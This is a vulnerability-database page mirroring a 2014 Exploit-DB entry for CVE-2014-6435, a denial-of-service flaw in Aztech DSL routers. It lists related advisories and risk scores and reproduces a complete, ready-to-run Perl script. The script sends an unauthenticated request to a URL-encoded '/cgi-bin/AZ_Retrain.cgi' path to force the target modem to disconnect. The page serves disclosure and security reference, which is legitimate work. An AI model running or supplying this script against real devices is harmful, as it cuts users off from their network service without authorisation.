Aztech Routers - '/cgi-bin/AZ_Retrain.cgi' Denial of Service
🗓️ 15 Sep 2014 00:00:00Reported by Federick Joe P FajardoType
exploitdb🔗 www.exploit-db.com👁 40 Views
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2014-6435 | 15 Sep 201400:00 | – | circl | |
| Denial of Service Vulnerability in Multiple Aztech Routers | 15 Jan 201800:00 | – | cnvd | |
| CVE-2014-6435 | 12 Jan 201817:00 | – | cve | |
| CVE-2014-6435 | 12 Jan 201817:00 | – | cvelist | |
| CVE-2014-6435 | 12 Jan 201817:29 | – | nvd | |
| Aztech DSL5018EN / DSL705E / DSL705EU DoS / Broken Session Management | 15 Sep 201400:00 | – | packetstorm | |
| Design/Logic Flaw | 12 Jan 201817:29 | – | prion | |
| Aztech routers multiple security vulnerabilities | 21 Sep 201400:00 | – | securityvulns |
/*
source: https://www.securityfocus.com/bid/69809/info
Multiple Aztech routers are prone to a denial-of-service vulnerability.
Attackers may exploit this issue to cause an affected device to crash, resulting in a denial-of-service condition.
Aztech DSL5018EN, DSL705E and DSL705EU are vulnerable.
*/
#!/usr/bin/perl
use strict;
use IO::Socket;
if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Denial of Service Attack\n";
print "++ Usage: perl $0 TARGET:PORT\n";
print "++ Ex: perl $0 192.168.254.254:80\n\n";
exit;
}
my $TARGET = $ARGV[0];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "%2f%63%67%69%2d%62%69%6e%2f%41%5a%5f%52%65%74%72%61%69%6e%2e%63%67%69";
system ('clear');
print "---------------------------------------------\n";
print "++ Resetting WAN modem $TARGET\n";
my $POST = "GET $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html";
my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;
print $sock "$POST\n";
print $sock "$ACCEPT\n\n";
print "++ Sent. The modem should be disconnected by now.\n";
$sock->close();
exit;Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jan 2016 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 37.5
EPSS0.12569